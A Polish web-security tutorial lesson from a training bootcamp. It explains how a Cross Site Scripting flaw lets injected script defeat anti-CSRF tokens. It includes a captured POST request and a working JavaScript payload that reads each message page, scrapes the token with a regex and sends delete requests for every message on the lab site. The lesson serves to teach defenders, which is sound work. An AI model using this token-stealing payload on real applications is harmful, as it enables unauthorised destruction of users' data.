threats.pl > Bezpieczeństwo aplikacji internetowych > Lekcja 5: Cross Site Scripting i Cross Site Request Forgery

Lekcja 5: Cross Site Scripting i Cross Site Request Forgery

Wprowadzenie

Temat Cross Site Request Forgery poruszany był w poprzednim odcinku: Cross Site Request Forgery. Standardowym zabezpieczeniem przed CSRF jest dodanie do requestu unikalnej wartości, która powoduje, że wcześniejsze przygotowanie odpowiedniego żądania HTTP jest bardzo trudne - trzeba zgadnąć losowy token. W przykładzie http://bootcamp.threats.pl/lesson05/ dodany został parametr token, który spełnia właśnie taką rolę. Trzeba jednak pamiętać, że podatność CSRF wynika z konstrukcji protokołu HTTP i sposobu, w jaki działają przeglądarki, tak więc dodanie tokenu jedynie utrudnia przeprowadzenie skutecznego ataku, nie czyni go jednak niemożliwym.

Przykład

Przykład http://bootcamp.threats.pl/lesson05/ zawiera podatność typu Cross Site Scripting. Oznacza to, że kod osadzony na przykładowej stronie za pomocą XSS ma dostęp do zawartości tej strony. Więcej informacji można uzyskać na przykład w Browser Security Handbook. W szczególności warto przeczytać rozdział Same-origin policy.

W tym przykładzie request powodujący usunięcie wiadomości wygląda w sposób następujący:

POST /lesson05/index.php HTTP/1.1
Accept: image/gif, image/jpeg,  (...)
Referer: http://bootcamp.threats.pl/lesson05/?id=3
Accept-Language: en-US,pl;q=0.5
User-Agent: Mozilla/4.0 (compatible; ...)
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Host: bootcamp.threats.pl
Content-Length: 60
Connection: Keep-Alive
Pragma: no-cache
Cookie: PHPSESSID=440816c515cd03e96636f8f53e5d1149

action=delete&token=f8e4766b763b4b6e69c3b21cff28055e283755df        
    

Token jest długi i losowy, w tym konkretnym przypadku łatwiej byłoby odgadnąć ID sesji innego użytkownika, niż wartość tokenu. Niestety, wartość tokenu może zostać odczytana przez kod osadzony na stronie.

W tym przykładzie posłużę się ponownie XMLHttpRequest. W Same-origin policy for XMLHttpRequest znajduje się wyjaśnienie dlaczego mogę to zrobić. Przykładowy kod, który spowoduje usunięcie wszystkich wiadomości wygląda następująco (dla IE8):

<script>
  function getToken(string) {
    regexp = new RegExp("([0-9a-f]{40})");
    results = regexp.exec(string);
    try {
        return results[1];
    }
    catch (e){
        return "";
    }
  }

    var oReq = new XMLHttpRequest();
    var params="action=delete&token=";
    var tmpParams = "";
    var token = "";
    for (i=1; i<6; i++) {
        oReq.open("GET", "http://bootcamp.threats.pl/lesson05/?id="+i, false); 
        oReq.send(); 
        tmpParams = params + getToken(oReq.responseText);
        oReq.open("POST", "http://bootcamp.threats.pl/lesson05/index.php", false);      
        oReq.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); 
        oReq.setRequestHeader("Content-length", tmpParams.length);
        oReq.send(tmpParams);
    }
</script> 

Ogólna zasada działania kodu jest prosta, najpierw pobierana (wczytywana do sesji) jest wiadomość, która ma zostać usunięta. Ponieważ w tym przykładzie są to wiadomości oznaczone identyfikatorami z zakresu od 1 do 5, pojawia się stosowna pętla. Wiadomość jest wczytywana przez wywołanie obiektu XMLHttpRequest:

        oReq.open("GET", "http://bootcamp.threats.pl/lesson05/?id="+i, false); 
        oReq.send();            
        

Zwrócona strona (jej treść) jest przekazywana do funkcji, która przy pomocy wyrażenia regularnego pobiera osadzony w niej token. Token ten jest wykorzystywany przy budowaniu drugiego żądania HTTP. W rezultacie wygenerowane automatycznie żądanie zawiera odpowiedni token, tak więc żądana operacja zostaje wykonana.

Podsumowanie

Zabezpieczenie aplikacji przed CSRF poprzez wykorzystanie tokenów może okazać się niewystarczające, zwłaszcza jeśli w aplikacji znajduje się gdzieś podatność typu Cross Site Scripting. Podatność ta nie musi znajdować się w samej aplikacji, wystarczy jeśli wykorzystywany w przeglądarkach model same orgin policy pozwoli osadzonemu kodowi na (bliższą) interakcję z aplikacją.